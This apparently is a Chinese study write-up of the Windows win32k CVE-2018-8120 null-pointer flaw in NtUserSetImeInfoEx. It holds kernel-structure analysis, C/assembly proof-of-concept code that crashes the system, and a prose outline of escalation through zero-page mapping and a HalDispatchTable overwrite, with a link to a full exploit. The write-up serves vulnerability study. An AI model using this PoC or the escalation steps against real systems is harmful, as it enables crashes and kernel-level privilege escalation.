漏洞原理
在函数SetImeInfoEx中对第一个参数偏移0x14位置并没有做判断,从而可以出现异常访问,同时这个参数还是个内核对象_GetProcessWindowStation(0),如果0x14位置不可访问的话就很容易蓝屏,根据前面学的,如果将该地址映射到0页,那0地址就不会报错,然后就可以执行shellcode了
漏洞描述
部分版本Windows系统win32k.sys组件的NtUserSetImeInfoEx()系统服务函数内部未验证内核对象中的空指针对象,普通应用程序可利用该空指针漏洞以内核权限执行任意代码。
影响版本
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for Itanium-Based Systems ServicePack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 R2 for Itanium-Based Systems ServicePack 1
Windows Server 2008 R2 for x64-based Systems ServicePack 1
Windows Server 2008 R2 for x64-based Systems ServicePack 1
漏洞复现
环境
Windows 7 x86 Service Pack 1
漏洞分析
首先看SetImeInfoEx()函数,位于win32k.sys下面
建议多看反汇编代码
反汇编代码:
伪代码:
然后我们看在哪调用这个函数,点向上的箭头,查看伪代码发现NtUserSetImeInfoEx调用
_GetProcessWindowStation()返回当前进程的WindowStation内核对象
然后查看windowstation结构体
0: kd> dt win32k!tagwindowstation
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void
第14h偏移为spklList ,只要WindowStation->spklList字段为0,就会异常,
程序可以通过系统提供的接口CreateWindowStation()和SetProcessWindowStation(),新建一个新的WindowStation对象并和当前进程关联起来,值得注意的是,使用CreateWindowStation() 新建的WindowStation对象其偏移0x14位置的spklList字段的值默认是零。
当出现
去Vs下面重新设置为多线程就行了,然后重新生成
然后发现windbg断下了
重新运行没有蓝屏,好像是代码写的有问题,再次改了那个运行调用号1226(之前用的默认的0),
可以使用pchunter内核钩子里面的shadowSSDT的编号+0x1000
可以看到在这地方断下 了 cmp dword ptr [eax+14h],edx
然后就蓝屏了
贴上poc代码
#define PSAPI_VERSION 1
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <intrin.h>
//#pragma comment(lib,"ntdll.lib")
#pragma comment(lib, "Psapi.lib")
DWORD gSyscall = 0x1226; //gSyscall = 0x1226;
_declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
_asm
{
mov esi, tmp;
mov eax, gSyscall;
mov edx, 0x7FFE0300;
call dword ptr[edx];
ret 4;
}
}
int main() {
HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0);
//if (!hSta)
//{
/// printf("[-] CreateWindowStationW fail(0x%X)\n", GetLastError());
// fflush(stdout);
// ExitProcess(3);
//}
SetProcessWindowStation(hSta);
unsigned int ime[0x600] ;
NtUserSetImeInfoEx((PVOID)&ime);
return 0;
}
漏洞利用
那前面也提到了如果映射到0页,那内存就不是空了,那就会继续执行,那shellcode怎么执行呢,又该放在哪呢?
可以看到第二个参数是用户可控的,如果拷贝的V4也可以控制,则可以实现任意内存地址写入(且漏洞函数运行在内核权限, 内核空间与用户空间内存均有权限读写),任意地址写就可以通过覆盖系统服务函数指针的方式, 实现任意代码执行。
任意地址写:考虑使用覆盖的是HALdispatchtable里面的NTqueryintervalprofile(详情参考我的任意地址写实验)
但是由于拷贝的过多,0x15c所以会造成一些错误,可以使用setbitmap函数实现指定地址写,,然后后面再使用NTqueryintervalprofile触发就行了
提权
最后使用别人的exp(https://github.com/unamer/CVE-2018-8120):https://github.com/unamer/CVE-2018-8120
参考:https://www.freebuf.com/vuls/174183.html